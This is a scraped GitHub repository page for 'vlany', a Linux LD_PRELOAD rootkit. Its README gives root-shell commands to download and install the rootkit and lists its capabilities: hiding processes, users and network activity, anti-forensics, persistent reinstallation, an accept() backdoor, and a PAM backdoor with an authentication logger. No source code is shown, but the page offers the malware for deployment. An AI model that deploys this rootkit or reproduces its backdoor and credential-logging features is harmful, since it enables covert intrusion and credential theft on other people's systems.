Thanks to visit codestin.com
Credit goes to github.com

Skip to content

aminotsukasa/vlany

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

66 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

#Vlany ###A Linux (LD_PRELOAD) rootkit

##Installing It's very simple to install vlany onto a sytem as it comes with an automated install script.
To install vlany you want to first download it from our GitHub ( Always up to date and trusted )
root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

Once it's downloaded you just have to run install.sh inside vlany-master.
root@vlany:~# cd vlany-master && ./install.sh
By default this will prompt you with a tui installation but if cli is prefered you can use the --cli argument to invoke a similar cli installation.

##Downloads quick_install.sh
vlany.tar.gz

##Features

  • Process hiding
  • User hiding
  • Network hiding
  • LXC container
  • Anti-Debug
  • Anti-Forensics
  • Persistent (re)installation & Anti-Detection
  • Dynamic linker modifications
  • Backdoors
    • accept() backdoor (derived from Jynx2)
    • PAM backdoor
      • PAM auth logger
  • vlany-exclusive commands

##Known bugs ###Serious bugs

  1. There is currently only one significant bug in vlany, which unfortunately causes the box to be unable to reboot successfully. This bug arises from hide_checks.c @ hidden_xattr. It'll get fixed.

###Minor bugs

  1. There is a weird bug where it shows a duplicate line in the w / who commands. This is potentially a way to detect a vlany installation on a box.

##In-depth README.txt (very detailed but not maintained)

About

Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 76.9%
  • Python 14.6%
  • Shell 8.5%